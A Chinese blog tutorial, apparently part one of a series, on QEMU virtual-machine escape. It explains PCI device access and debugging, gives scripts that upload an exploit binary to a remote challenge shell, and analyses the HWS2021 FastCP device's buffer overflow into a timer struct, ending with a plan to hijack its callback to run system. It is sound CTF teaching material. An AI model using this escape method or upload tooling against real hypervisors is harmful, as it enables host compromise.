<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】QEMU逃逸初探(一)

    VSole2021-10-19 16:16:29

    00 前言

    在 HWS2021 入營選拔比賽的時候,遇到了一道 QEMU 逃逸的題目,那個時候就直接莽上去分析了一通,東拼西湊的把 EXP 寫了出來。但實際上并沒有怎么理解其具體是怎么實現的,有些操作這樣做背后的原理是什么。而通常我對于比賽過程中學習到的內容,都會通過寫詳細的 Writeup 的這個過程來系統的學習。但是 QEMU 逃逸這部分的內容實在是比較復雜,而且涉及到了很多我完全沒有了解過的知識,所以一直鴿到了現在。

    里面的大多數內容和圖片,都是我從看到的博客或者維基百科中整理收集的,具體鏈接可以看下文中的參考資料,非常感謝這些內容的制作者為我們初學者提供了學習的平臺和資料。

    01 基礎知識

    1.1 QEMU

    簡單的來說,QEMU 就是一個開源的模擬器和虛擬機,通過動態的二進制轉換來模擬 CPU。

    1.1.1 QEMU 有多種運行的模式

    • User mode:用戶模式,在這種模式下,QEMU 運行某個單一的程序,并且適配其的系統調用。通常我們遇到的異構 PWN 題都會使用這種模式,這種模式可以簡單輕便的模擬出其他架構程序的執行過程,使做題人的重心傾斜于分析異構的題目文件上,而不是轉換過程中。
    • System mode:系統模式,在這種模式下,QEMU 可以模擬出一個完整的計算機系統。通常我們遇到的 QEMU 逃逸的題目都會使用這種模式,并且把漏洞點以有漏洞的設備的形式出現,通常漏洞會有數組越界、棧溢出、任意調用指針函數、函數重入等漏洞。
    • KVM Hosting
    • Xen Hosting

    1.1.2 QEMU 的內存結構

    qemu 使用 mmap 為虛擬機申請出相應大小的內存,當做虛擬機的物理內存,且這部分內存沒有執行權限(PROT_EXEC)

    1.1.3 QEMU 的地址翻譯

    在 QEMU 中存在兩個轉換層,分別是:

    • 從用戶虛擬地址到用戶物理地址:這一層轉換是模擬真實設備中所需要的虛擬地址和物理地址而存在的,所以我們也可以通過分析轉換規則,編寫程序來模擬這一層轉換。
    • 從用戶物理地址到 QEMU 的虛擬地址空間:這一層是把用戶的物理地址轉換為 QEMU 上使用 mmap 申請出的地址空間,這部分空間的內容與用戶的物理地址逐一對應,所以我們只需要知道 QEMU 上使用 mmap 申請出的地址空間的初始地址,再加上用戶物理地址,就可以得到此地址對應的在 QEMU 中的虛擬地址。

    在 x64 系統上,虛擬地址由 page offset (bits 0-11) 和 page number 組成,/proc/$pid/pagemap 這個文件中儲存著此進程的頁表,讓用戶空間進程可以找出每個虛擬頁面映射到哪個物理幀(需要 CAP_SYS_ADMIN 權限),它包含一個 64 位的值,包含以下的數據。

    • Bits 0-54 page frame number (PFN) if present
    • Bits 0-4 swap type if swapped
    • Bits 5-54 swap offset if swapped
    • Bit 55 pte is soft-dirty (see Documentation/vm/soft-dirty.txt)
    • Bit 56 page exclusively mapped (since 4.2)
    • Bits 57-60 zero
    • Bit 61 page is file-page or shared-anon (since 3.5)
    • Bit 62 page swapped
    • Bit 63 page present

    以下程序通過讀取這個文件實現了一個轉換過程

    #include <stdio.h>
    #include <string.h>
    #include <stdint.h>
    #include <stdlib.h>
    #include <fcntl.h>
    #include <assert.h>
    #include <inttypes.h>
    
    #define PAGE_SHIFT  12
    #define PAGE_SIZE   (1 << PAGE_SHIFT)
    #define PFN_PRESENT (1ull << 63)
    #define PFN_PFN     ((1ull << 55) - 1)
    
    int fd;
    
    uint32_t page_offset(uint32_t addr)
    {
        return addr & ((1 << PAGE_SHIFT) - 1);
    }
    
    uint64_t gva_to_gfn(void *addr)
    {
        uint64_t pme, gfn;
        size_t offset;
        offset = ((uintptr_t)addr >> 9) & ~7;
        lseek(fd, offset, SEEK_SET);
        read(fd, &pme, 8);
        if (!(pme & PFN_PRESENT))
            return -1;
        gfn = pme & PFN_PFN;
        return gfn;
    }
    
    uint64_t gva_to_gpa(void *addr)
    {
        uint64_t gfn = gva_to_gfn(addr);
        assert(gfn != -1);
        return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
    }
    
    int main()
    {
        uint8_t *ptr;
        uint64_t ptr_mem;
    
        fd = open("/proc/self/pagemap", O_RDONLY);
        if (fd < 0) {
            perror("open");
            exit(1);
        }
    
        ptr = malloc(256);
        strcpy(ptr, "Where am I?");
        printf("%s\n", ptr);
        ptr_mem = gva_to_gpa(ptr);
        printf("Your physical address is at 0x%"PRIx64"\n", ptr_mem);
    
        getchar();
        return 0;
    }
    

    值得注意的是,在虛擬空間中連續的一段空間,在物理空間中并不一定連續,實際上,這部分的虛擬地址空間會以頁為單位被分隔成多個物理內存碎片。在某些情況下,QEMU 中的虛擬設備對物理內存的復制可能超過一頁(0x1000 字節),這時候復制出物理內存中超過這一頁的內容就與虛擬內存中超過這一頁的內容無法對應。

    1.2 PCI 設備地址空間

    1.2.1 PCI 配置空間

    PCI 設備都有一個 PCI 配置空間來配置 PCI 設備,其中包含了關于 PCI 設備的特定信息。

    其中 BAR(BASE Address Registers)用來確定設備所需要使用的內存和 I/O 空間的大小,也可以用來存放設備寄存器的地址。

    設備可以申請兩類的地址空間,Memory Space 和 I/O Space,以下會進行介紹。

    1.2.2 Memory Space 類型(MMIO)

    內存和 I/O 設備共享同一個地址空間。MMIO 是應用得最為廣泛的一種 I/O 方法,它使用相同的地址總線來處理內存和 I/O 設備,I/O 設備的內存和寄存器被映射到與之相關聯的地址。當 CPU 訪問某個內存地址時,它可能是物理內存,也可以是某個 I/O 設備的內存,用于訪問內存的 CPU 指令也可來訪問 I/O 設備。每個 I/O 設備監視 CPU 的地址總線,一旦 CPU 訪問分配給它的地址,它就做出響應,將數據總線連接到需要訪問的設備硬件寄存器。為了容納 I/O 設備,CPU 必須預留給 I/O 一個地址區域,該地址區域不能給物理內存使用。

    • Bit 0:Region Type,總是為 0,用于區分此類型為 Memory
    • Bits 2-1:Locatable,為 0 時表示采用 32 位地址,為 2 時表示采用 64 位地址,為 1 時表示區間大小小于 1MB
    • Bit 3:Prefetchable,為 0 時表示關閉預取,為 1 時表示開啟預取
    • Bits 31-4:Base Address,以 16 字節對齊基址

    1.2.3 I/O Space 類型(PMIO)

    在 PMIO 中,內存和 I/O 設備有各自的地址空間。端口映射 I/O 通常使用一種特殊的 CPU 指令,專門執行 I/O 操作。在 Intel 的微處理器中,使用的指令是 IN 和 OUT。這些指令可以讀/寫 1,2,4 個字節(例如:outb, outw, outl)到 IO 設備上。I/O 設備有一個與內存不同的地址空間,為了實現地址空間的隔離,要么在 CPU 物理接口上增加一個 I/O 引腳,要么增加一條專用的 I/O 總線。由于 I/O 地址空間與內存地址空間是隔離的,所以有時將 PMIO 稱為被隔離的 IO(Isolated I/O)。

    • Bit 0:Region Type,總是為 1,用于區分此類型為 I/O
    • Bit 1:Reserved
    • Bits 31-2:Base Address,以 4 字節對齊基址

    1.2.4 PCI 設備配置的地址

    設備地址的格式可以參考下圖,這個地址的用處在下文 QEMU 中如何初始化 PCI 設備 處會做出解釋

    我們可以通過以下代碼進行計算

    0x80000000 | bus << 16 | device << 11 | function <<  8 | offset
    

    1.3 QEMU 中 的 PCI 設備

    1.3.1 QEMU 中如何初始化 PCI 設備

    初始化過程非常復雜,這里只簡單的闡述,以下幾個是初始化過程中的重要函數,但是想要深入的了解這個過程,仍然需要嘗試著對這個過程進行下斷調試。

    do_pci_register_device

    對設備實例對象進行設置。

    • 做一些基礎的檢查,是否存在沖突等,如果檢查不通過則報錯返回
    • 調用 pci_config_alloc(pci_dev) 來分配配置空間,PCI 設備為 256B,PCIe 為 4096B
    • 調用 pci_config_set_vendor_id / pci_config_set_device_id / pci_config_set_revision / pci_config_set_revision 來初始化設備配置
    • 設置 pci_dev->config_read 和 pci_dev->config_write ,如果在類構造函數中設置了則用設置的,否則使用默認函數 pci_default_read_config / pci_default_write_config

    pci_register_bar

    • 將 BAR 中的 Base Address 設置為全 FF

    pci_do_device_reset

    • 對設備進行清理和設置

    pci_default_read_config

    • 讀取 Config,從 cpu->kvm_run 中取出 io 信息

    pci_default_write_config

    • 設置 Config,且設置的值通過以下變換

    其中 wmask 取決于 size ,w1cmask 是保證對應位置為 1

    uint64_t wmask = ~(size - 1)
    pci_set_long(pci_dev->wmask + addr, wmask & 0xffffffff);
    for (i = 0; i < l; val >>= 8, ++i) {
        uint8_t wmask = d->wmask[addr + i];   
        uint8_t w1cmask = d->w1cmask[addr + i];
        assert(!(wmask & w1cmask));
        d->config[addr + i] = (d->config[addr + i] & ~wmask) | (val & wmask);
        d->config[addr + i] &= ~(val & w1cmask); /* W1C: Write 1 to Clear */
    }
    

    pci_update_mappings

    遍歷設備的 BAR,如果發現 BAR 中已經填寫了不同于 r->addr 的地址,則說明新的地址已經更新,則會更新并重新注冊地址。

    1.3.2 配置的讀取和寫入

    一般在軟件實現上使用兩種方法:一種是通過 I/O 地址 PCI CONFIG_ADDRESS(0xCF8)和 PCI CONFIG_DATA(0xCFC)的傳統方法,另一種是為 PCIe 創建的內存映射方法。

    傳統方法想要寫入配置需要分為兩步

    1. 通過 CONFIG_ADDRESS(0xCF8 端口) 設置目標設備地址:將要操作的設備寄存器的地址寫入 CONFIG_ADDRESS
    2. 通過 CONFIG_DATA(0xCFC 端口) 來寫值:將應該寫入的數據放入 CONFIG_DATA 寄存器

    由于此過程需要寫入寄存器才能寫入設備的寄存器,因此稱為“間接寫入”。

    傳統方法想要讀取配置也需要分為兩步

    1. 通過 CONFIG_ADDRESS(0xCF8 端口) 設置目標設備地址:將要操作的設備寄存器的地址寫入 CONFIG_ADDRESS
    2. 通過 CONFIG_DATA(0xCFC 端口) 來讀值

    同時我們結合上面說明過的對 I/O 地址的操作方法,在這里我們就可以使用 outb, outw, outl 來對上述端口寫值;用 inb,inw,inl 來讀值。

    可以參考以下操作系統中讀取 PCI 設備的配置空間方法

    uint16_t pciConfigReadWord (uint8_t bus, uint8_t slot, uint8_t func, uint8_t offset) {
        uint32_t address;
        uint32_t lbus  = (uint32_t)bus;
        uint32_t lslot = (uint32_t)slot;
        uint32_t lfunc = (uint32_t)func;
        uint16_t tmp = 0;
    
        /* create configuration address as per Figure 1 */
        address = (uint32_t)((lbus << 16) | (lslot << 11) |
                  (lfunc << 8) | (offset & 0xfc) | ((uint32_t)0x80000000));
    
        /* write out the address */
        outl(0xCF8, address);
        /* read in the data */
        /* (offset & 2) * 8) = 0 will choose the first word of the 32 bits register */
        tmp = (uint16_t)((inl(0xCFC) >> ((offset & 2) * 8)) & 0xffff);
        return (tmp);
    }
    

    1.3.3 qtest 中的 PCI 設備初始化

    如果 QEMU 是使用 qtest 啟動,而不是通過整個系統鏡像,那么這時的 PCI 設備初始的并不完全,我們需要手動調用 qtest 中的指令對設備配置讀寫,來往 BAR 上寫 MMIO 的地址。其中使用的方法是通過 I/O 地址 PCI CONFIG_ADDRESS(0xCF8)和 PCI CONFIG_DATA(0xCFC)來間接寫入。

    所以初始化的步驟應該是(以 MMIO 為例):

    1. 將 MMIO 地址寫入設備的 BAR0 地址
    2. 將命令寫入設備的 COMMAND 地址,觸發 pci_update_mappings 來重新注冊 BAR0 地址

    其中 COMMAND 的命令定義如下:

    通常的設置都是選擇 0x103,也就是設置 SERR#Enable,Memory space 和 IO space。如果要正確使用 DMA,則還需要設置 Bit 2 Bus Master,也就是寫入 0x107。

    最終需要執行的命令可以參考如下

    outl 0xcf8 0x80001010
    outl 0xcfc 0xfebc0000
    outl 0xcf8 0x80001004
    outw 0xcfc 0x107
    

    其中 0x80001000 為設備配置的地址,可以根據上文中 PCI 設備配置的地址 所給出的結構計算得到,0x10 偏移處為 BAR0,0x4 偏移處為 COMMAND。

    假設 MMIO 地址選擇的是 0xfebc0000,那么最終 BAR0 基址會被設置為 0xfeb00000,以該地址為基址進行讀寫就能夠觸發 MMIO 函數。

    1.3.4 QEMU 中查看 PCI 設備

    查看設備的方法可以分為兩種,lspci 命令和 info pci。

    lspci 命令

    如果 QEMU 直接啟動了一個系統,那么就可以優先考慮使用 lspci 命令列出系統中所有 PCI 總線和設備的詳細信息。

    # lspci
    00:01.0 Class 0601: 8086:7000
    00:04.0 Class 00ff: dead:beef
    00:00.0 Class 0600: 8086:1237
    00:01.3 Class 0680: 8086:7113
    00:03.0 Class 0200: 8086:100e
    00:01.1 Class 0101: 8086:7010
    00:02.0 Class 0300: 1234:1111
    

    命令開頭的 xx:yy.z 格式對應的是 bus(總線)、device(設備)、function(功能),之后的內容是 Class、Vendor、Device。

    有了 bus、device、function 這三個信息我們就能夠通過 /sys/devices/pci0000:00/0000:[tag] 其中的 tag 格式就是 lspci 中第一列所看到的”bus:device:function”。

    info pci 命令

    這個命令依賴于 QEMU 中的 monitor

    首先需要修改 launch.sh,添加 monitor 選項(-monitor telnet:127.0.0.1:4444,server,nowait)

    添加后在 QEMU 啟動時就會開啟 4444 端口為 monitor,我們可以使用 nc 或者 telnet 連接 4444 端口對 QEMU 進行管理操作。

    連接后輸入 info pci 就可以查看到所有 PCI

    wjh@ubuntu:~$ nc 127.0.0.1 4444
    QEMU 6.0.93 monitor - type 'help' for more information
    (qemu) info pci
    info pci
      Bus  0, device   0, function 0:
        Host bridge: PCI device 8086:1237
          PCI subsystem 1af4:1100
          id ""
      Bus  0, device   1, function 0:
        ISA bridge: PCI device 8086:7000
          PCI subsystem 1af4:1100
          id ""
      Bus  0, device   1, function 1:
        IDE controller: PCI device 8086:7010
          PCI subsystem 1af4:1100
          BAR4: I/O at 0xffffffffffffffff [0x000e].
          id ""
      Bus  0, device   1, function 3:
        Bridge: PCI device 8086:7113
          PCI subsystem 1af4:1100
          IRQ 0, pin A
          id ""
      Bus  0, device   2, function 0:
        Class 0255: PCI device 2021:0815
          PCI subsystem 1af4:1100
          IRQ 0, pin A
          BAR0: 32 bit memory at 0xffffffffffffffff [0x000ffffe].
          id ""
    

    如果覺得信息不夠完善,還可以用 info qtree 來輸出樹形結構的完整信息。

    (qemu) info qtree
    info qtree
    bus: main-system-bus
      type System
      dev: hpet, id ""
        gpio-in "" 2
        gpio-out "" 1
        gpio-out "sysbus-irq" 32
        timers = 3 (0x3)
        msi = false
        hpet-intcap = 4 (0x4)
        hpet-offset-saved = true
        mmio 00000000fed00000/0000000000000400
      dev: ioapic, id ""
        gpio-in "" 24
        version = 32 (0x20)
        mmio 00000000fec00000/0000000000001000
      dev: i440FX-pcihost, id ""
        pci-hole64-size = 2147483648 (2 GiB)
        short_root_bus = 0 (0x0)
        x-pci-hole64-fix = true
        x-config-reg-migration-enabled = true
        bypass-iommu = false
        bus: pci.0
          type PCI
          dev: ctf, id ""
            addr = 02.0
            romfile = ""
            romsize = 4294967295 (0xffffffff)
            rombar = 1 (0x1)
            multifunction = false
            x-pcie-lnksta-dllla = true
            x-pcie-extcap-init = true
            failover_pair_id = ""
            acpi-index = 0 (0x0)
            class Class 00ff, addr 00:02.0, pci id 2021:0815 (sub 1af4:1100)
            bar 0: mem at 0xffffffffffffffff [0xffffe]
          ...
          dev: i440FX, id ""
            addr = 00.0
            romfile = ""
            romsize = 4294967295 (0xffffffff)
            rombar = 1 (0x1)
            multifunction = false
            x-pcie-lnksta-dllla = true
            x-pcie-extcap-init = true
            failover_pair_id = ""
            acpi-index = 0 (0x0)
            class Host bridge, addr 00:00.0, pci id 8086:1237 (sub 1af4:1100)
      dev: fw_cfg_io, id ""
        dma_enabled = true
        x-file-slots = 32 (0x20)
        acpi-mr-restore = true
      dev: kvmvapic, id ""
    

    1.3.5 QEMU 程序中的 PCI 設備定位

    如果我們想要查到某個 QEMU 程序中 PCI 設備所對應的路徑,那么可以通過對照 Class、Vendor、Device 的信息來確定。

    例如下圖中我搜索到 QEMU 中的 FastCP 設備

    找到此設備的初始化函數(FastCP_class_init),并且設置對應變量的類型為 PCIDeviceClass *

    根據其中的 class_id 賦值就可以得知,對應的 Class 應該是 00ff,根據對 vendor_id 賦值可知,對應的 Vendor ID 是 dead 、 Device ID 是 beef(這里由于程序的優化,把結構中兩個連續的二字節的變量優化成一次賦值)

    對照著 lspci 的結果,我們就可以得知 FastCP 對應的 PCI 設備條目是

    00:04.0 Class 00ff: dead:beef
    

    得知其條目后我們可以訪問該目錄(/sys/devices/pci0000:00/0000:00:04.0/)中對應的文件資源來得到我們需要的數據

    • resource 文件:此文件包含其相應空間的數據,resource0 對應 MMIO 空間,resource1 對應 PMIO 空間,這個文件可以便于我們在用戶空間編程訪問,在 1.3.6 QEMU 中訪問 PCI 設備的 I/O 空間 中還會提及。
    • config 文件:此文件包含著該設備的配置文件信息,結合之前的配置空間格式可以快速的看到開頭的 dead 和 beef 分別對應著 vendor 和 device,這和之前用 lspci 看到的內容一致。
    # hexdump  /sys/devices/pci0000\:00/0000\:00\:04.0/config
    0000000 dead beef 0103 0010 0001 00ff 0000 0000
    0000010 0000 fea0 0000 0000 0000 0000 0000 0000
    0000020 0000 0000 0000 0000 0000 0000 1af4 1100
    0000030 0000 0000 0040 0000 0000 0000 010b 0000
    0000040 0005 0080 0000 0000 0000 0000 0000 0000
    0000050 0000 0000 0000 0000 0000 0000 0000 0000
    

    1.3.6 QEMU 中訪問 PCI 設備的 MMIO 空間

    在用戶態訪問 mmio 空間

    通過映射 resource0 文件來實現,函數中的參數類型選擇 uint32_t 還是 uint64_t 可以根據設備代碼中限制的要求來確定,示例代碼如下:

    #include <assert.h>
    #include <fcntl.h>
    #include <inttypes.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/mman.h>
    #include <sys/types.h>
    #include <unistd.h>
    #include<sys/io.h>
    
    
    unsigned char* mmio_mem;
    
    void die(const char* msg)
    {
        perror(msg);
        exit(-1);
    }
    
    
    
    void mmio_write(uint32_t addr, uint32_t value)
    {
        *((uint32_t*)(mmio_mem + addr)) = value;
    }
    
    uint32_t mmio_read(uint32_t addr)
    {
        return *((uint32_t*)(mmio_mem + addr));
    }
    
    
    
    
    int main(int argc, char *argv[])
    {
    
        // Open and map I/O memory for the strng device
        int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
        if (mmio_fd == -1)
            die("mmio_fd open failed");
    
        mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
        if (mmio_mem == MAP_FAILED)
            die("mmap mmio_mem failed");
    
        printf("mmio_mem @ %p\n", mmio_mem);
    
        mmio_read(0x128);
        mmio_write(0x128, 1337);
    
    }
    

    在內核態中訪問 mmio 空間

    示例代碼如下:

    #include <asm/io.h>
    #include <linux/ioport.h>
    
    long addr=ioremap(ioaddr,iomemsize);
    readb(addr);
    readw(addr);
    readl(addr);
    readq(addr);//qwords=8 btyes
    
    writeb(val,addr);
    writew(val,addr);
    writel(val,addr);
    writeq(val,addr);
    iounmap(addr);
    

    1.3.7 QEMU 中訪問 PCI 設備的 PMIO 空間

    根據上文所說,直接通過 in 和 out 指令就可以訪問 I/O memory(outb/inb, outw/inw, outl/inl)

    但是使用這些函數的前提是要讓程序有訪問端口的權限:

    • 在 0x000-0x3ff 之間的端口,可以使用 ioperm(from, num, turn_on)
    • 對于 0x3ff 以上的端口,可以使用 iopl(3),使程序可以訪問所有端口

    示例代碼:

    #include <sys/io.h>
    uint32_t pmio_base = 0xc050;
    
    uint32_t pmio_write(uint32_t addr, uint32_t value)
    {
        outl(value,addr);
    }
    
    uint32_t pmio_read(uint32_t addr)
    {
        return (uint32_t)inl(addr);
    }
    
    int main(int argc, char *argv[])
    {
    
        // Open and map I/O memory for the strng device
        if (iopl(3) !=0 )
            die("I/O permission is not enough");
            pmio_write(pmio_base+0,0);
        pmio_write(pmio_base+4,1);
    
    }
    

    代碼中的 pmio_base 的位置可以通過查看設備的 BAR 內容來確定

    在內核態訪問 PMIO 操作是和用戶態類似的,區別在于內核態不用申請權限、頭文件需要使用以下兩個。

    #include <asm/io.h> 
    #include <linux/ioport.h>
    

    1.4 調試

    調試

    使用 gdb 附加調試運行中的 QEMU 并加載二進制文件中的符號,執行如下代碼:

    sudo gdb ./qemu-system-x86_64
    attach 相應的進程號
    

    進程號使用 ps -aux 可以看到

    1.5 執行 EXP

    執行 EXP 需要區分為兩種情況,分別是本地執行和遠程執行。

    1.5.1 本地執行

    這里推薦使用重新打包的方法,這種方法可以無視系統的具體環境限制

    為了方便打包,我這里寫了一個腳本

    uncpio

    #!/bin/bash
    set -e
    cp $1 /tmp/core.gz
    unar /tmp/core.gz -o /tmp/
    

    使用方式:uncpio xxx.cpio

    腳本會執行:解壓參數 1 中指定的 cpio 文件到 /tmp/core 目錄

    encpio

    #!/bin/sh
    set -e
    musl-gcc  -static -O2 $1 -o /tmp/core/bin/EXP
    cd /tmp/core/
    find . -print0 | cpio --null -ov --format=newc > /tmp/new.cpio
    cd -
    cp /tmp/new.cpio ./new.cpio
    

    使用方式:encpio exp.c

    腳本會執行:把參數 1 中指定的 exp.c 使用 musl-gcc 編譯,然后放入 uncpio 解包出的文件(在/tmp/core )中,對其重新打包后,再把文件復制到執行目錄下的 new.cpio 文件中。

    修改 launch.sh 文件把加載文件替換為 new.cpio ,進入系統后執行 /bin/EXP 即可執行 EXP 代碼。

    1.5.2 遠程執行

    遠程執行需要考慮的就是如何上傳 EXP,這里提供兩種方式,適用于不同的環境(如果是普通用戶權限,修改代碼中的 cmd 為 “$ “)

    上傳腳本 1(一次性發送全部數據)

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    from pwn import *
    import os
    
    # context.log_level = 'debug'
    cmd = '# '
    
    
    def exploit(r):
        r.sendlineafter(cmd, 'stty -echo')
        os.system('musl-gcc  -static -O2 ./poc/exp.c -o ./poc/exp')
        os.system('gzip -c ./poc/exp > ./poc/exp.gz')
        r.sendlineafter(cmd, 'cat <<EOF > exp.gz.b64')
        r.sendline((read('./poc/exp.gz')).encode('base64'))
        r.sendline('EOF')
        r.sendlineafter(cmd, 'base64 -d exp.gz.b64 > exp.gz')
        r.sendlineafter(cmd, 'gunzip ./exp.gz')
        r.sendlineafter(cmd, 'chmod +x ./exp')
        r.sendlineafter(cmd, './exp')
        r.interactive()
    
    
    # p = process('./startvm.sh', shell=True)
    p = remote('nc.eonew.cn',10100)
    
    exploit(p)
    

    上傳腳本 2(分段傳輸)

    #coding:utf8
    from pwn import *
    import base64
    context.log_level = 'debug'
    os.system("musl-gcc 1.c -o exp --static")
    sh = remote('127.0.0.1',5555)
    
    f = open('./exp','rb')
    content = f.read()
    total = len(content)
    f.close()
    per_length = 0x200;
    sh.sendlineafter('# ','touch /tmp/exploit')
    for i in range(0,total,per_length):
       bstr = base64.b64encode(content[i:i+per_length])
       sh.sendlineafter('# ','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
    if total - i > 0:
       bstr = base64.b64encode(content[total-i:total])
       sh.sendlineafter('# ','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
    
    sh.sendlineafter('# ','chmod +x /tmp/exploit')
    sh.sendlineafter('# ','/tmp/exploit')
    sh.interactive()
    

    02 QEMU 逃逸題目實戰

    這里以我第一個在比賽中做出的 QEMU 逃逸題:”HWS2021 FastCP” 為例。

    2.1 定位設備

    我們首先查看啟動命令

    #!/bin/sh
    ./qemu-system-x86_64 -initrd ./initramfs-busybox-x64.cpio.gz -nographic -kernel ./vmlinuz-5.0.5-generic -append "priority=low console=ttyS0" -monitor /dev/null --device FastCP
    

    在啟動命令的提示下,很容易就能在 qemu-system-x86_64 里面找到 FastCP 設備的具體實現,我們使用 IDA Pro 載入文件,等待加載完畢后,在右側函數列表搜索 FastCP。

    根據上文所說的,我們首先需要定位到 FastCP_class_init 來確定 vendor_id 和 device_id,并且通過這兩個值來確定 lspci 的結果。

    這里我們修改 v3 設備的類型為 PCIDeviceClass,再根據賦值來確定設備

    執行 launch.sh,啟動 QEMU 程序,啟動后登陸 root 賬號,并執行 lspci

    # lspci
    00:01.0 Class 0601: 8086:7000
    00:04.0 Class 00ff: dead:beef
    00:00.0 Class 0600: 8086:1237
    00:01.3 Class 0680: 8086:7113
    00:03.0 Class 0200: 8086:100e
    00:01.1 Class 0101: 8086:7010
    00:02.0 Class 0300: 1234:1111
    

    確定內容為 00:04.0 這一行設備,嘗試訪問其對應的資源

    # ls /sys/devices/pci0000\:00/0000\:00\:04.0/
    ari_enabled               firmware_node             resource
    broken_parity_status      irq                       resource0
    class                     local_cpulist             revision
    config                    local_cpus                subsystem
    consistent_dma_mask_bits  modalias                  subsystem_device
    d3cold_allowed            msi_bus                   subsystem_vendor
    device                    numa_node                 uevent
    dma_mask_bits             power                     vendor
    driver_override           remove
    enable                    rescan
    

    我們可以看到其存在 resource0,這意味設備存在 mmio 空間,并且不存在 resource1,這意味著設備不存在 pmio 空間。這一點與我們之前在 IDA 中搜索得到的函數列表是吻合的。

    2.2 QEMU 設備逆向

    2.2.1 初始化函數

    確定了設備位置后,我們接下來就是看設備對象初始化函數 FastCP_instance_init,為了方便觀看,首先我們要還原變量類型。而變量類型實際上是儲存在符號中的,我們可以通過 Shift + F1 打開 Local Types 窗口查看。

    通過搜索可以定位到相關的三個類型信息,可以知道類型信息是存在的,只是 IDA 的偽代碼沒能夠自動還原,我們可以通過按下 Tab 定位到匯編代碼中給出的類型來還原。

    根據圖中的類型提示,分別設置參數類型為 Object_0 ,變量類型為 FastCPState ,得到的偽代碼如下:

    就可以很清楚的看到這個函數做了各種各樣的初始化操作,之后的函數也用這種方法來還原類型信息,之后就不再贅述。

    2.2.2 MMIO READ

    知道初始化的內容后,我們就要在 mmio 操作中尋找對應的漏洞,我們首先來看 fastcp_mmio_read 函數。

    這個函數用于返回幾個操作值,操作值具體的意義可以根據名稱大概猜出。同時需要特別注意的是這里限制的 size 的大小,size 的大小不為 8 則會直接返回 -1,這意味著我們在調用 mmio_read 操作的時候需要使用的類型是 uint64_t。

    操作列表如下

    地址

    操作



    0x8

    讀取 cp_state.CP_list_src

    0x10

    讀取 cp_state.CP_list_cnt

    0x18

    讀取 cp_state.cmd

    這個函數內容較少,邏輯清晰可見,暫時未能看出漏洞。

    2.2.3 MMIO WRITE

    在 QEMU 逃逸的題目中,主要的漏洞位置都是在 MMIO WRITE 中,所以我們需要特別關注。

    操作列表如下

    地址

    操作



    0x8

    設置 cp_state.CP_list_src

    0x10

    設置 cp_state.CP_list_cnt

    0x18

    設置 cp_state.cmd 并觸發 Timer

    通過操作可以了解到,關鍵的函數還是在時鐘函數中,而且通過 cp_state.cmd 來傳參

    2.2.4 CP TIMER

    此函數通過 Timer 來調用,并且通過 MMIO WRITE 設置

    操作列表如下

    命令

    操作



    1

    當 CP_list_cnt 大于 0x10 的時候:<br />依次遍歷 CP_list_src,每個結構的 CP_cnt 作為長度,把 CP_src 先復制到 CP_buffer,再從 CP_buffer 復制到 CP_dst(相當于從 CP_src 到 CP_dst)。<br />當 CP_list_cnt 不大于 0x10 的時候:<br />做無意義的操作

    2

    CP_cnt 作為長度(最大 0x1000 字節),從 CP_src 讀取內容寫到 CP_buffer 中

    4

    CP_cnt 作為長度(最大 0x1000 字節),從 CP_buffer 寫出到 CP_dst 中

    以上操作在操作前會設置 handling 為 1,操作結束后設置 handling = 0 和 cmd = 0。

    漏洞還是比較明顯的,在命令為 1 且 CP_list_cnt 大于 0x10 的時候,復制前沒有檢測 CP_cnt 是否會大于 0x1000 字節,而在 FastCPState 的結構中(結構如下)

    00000000 FastCPState     struc ; (sizeof=0x1A30, align=0x10, copyof_4530)
    00000000                                         ; XREF: pci_FastCP_uninit+23/o
    00000000                                         ; pci_FastCP_realize+59/o ...
    00000000 pdev            PCIDevice_0 ?           ; XREF: pci_FastCP_realize+9A/r
    000008F0 mmio            MemoryRegion_0 ?        ; XREF: pci_FastCP_realize+77/r
    000008F0                                         ; pci_FastCP_realize+9D/o ...
    000009E0 cp_state        CP_state ?              ; XREF: FastCP_instance_init+57/r
    000009E0                                         ; FastCP_instance_init+62/r ...
    000009F8 handling        db ?                    ; XREF: FastCP_instance_init+78/w
    000009F8                                         ; fastcp_mmio_read+55/r ...
    000009F9                 db ? ; undefined
    000009FA                 db ? ; undefined
    000009FB                 db ? ; undefined
    000009FC irq_status      dd ?                    ; XREF: pci_FastCP_realize+B4/w
    00000A00 CP_buffer       db 4096 dup(?)          ; XREF: FastCP_instance_init+23/r
    00000A00                                         ; FastCP_instance_init+2A/r ...
    00001A00 cp_timer        QEMUTimer_0 ?           ; XREF: pci_FastCP_uninit+23/o
    00001A00                                         ; pci_FastCP_realize+59/o ...
    00001A30 FastCPState     ends
    

    CP_buffer 最大只有 0x1000 字節,在復制的中間過程中,如果設置 CP_cnt 為一個大于 0x1000 的值,就可以溢出到 cp_timer。同時如果我們利用這個功能,也可以讀取到 cp_timer 上的內容。

    2.3 利用

    cp_timer 的結構(QEMUTimer):

    00000000 QEMUTimer       struc ; (sizeof=0x30, align=0x8, copyof_1182)
    00000000                                         ; XREF: FastCPState/r
    00000000 expire_time     dq ?
    00000008 timer_list      dq ?                    ; offset
    00000010 cb              dq ?                    ; offset
    00000018 opaque          dq ?                    ; offset
    00000020 next            dq ?                    ; offset
    00000028 attributes      dd ?
    0000002C scale           dd ?
    00000030 QEMUTimer       ends
    

    想用成功利用,需要分成兩步:

    • 通過溢出的讀取,泄露 cp_timer 結構體,其中存在 PIE 基址(計算出 system@plt 的地址)和堆地址(整個結構的位置在堆上,計算出結構的開始位置,才能得到我們寫入 system 參數的位置)。
    • 通過溢出的寫入,覆蓋 cp_timer 結構體控制程序執行流

    觸發時鐘可以利用兩種方式:

    • 虛擬機重啟或關機的時候會觸發時鐘,調用 cb(opaque)
    • 在 MMOI WRITE 中可以觸發時鐘

    system 執行內容:

    • cat /flag
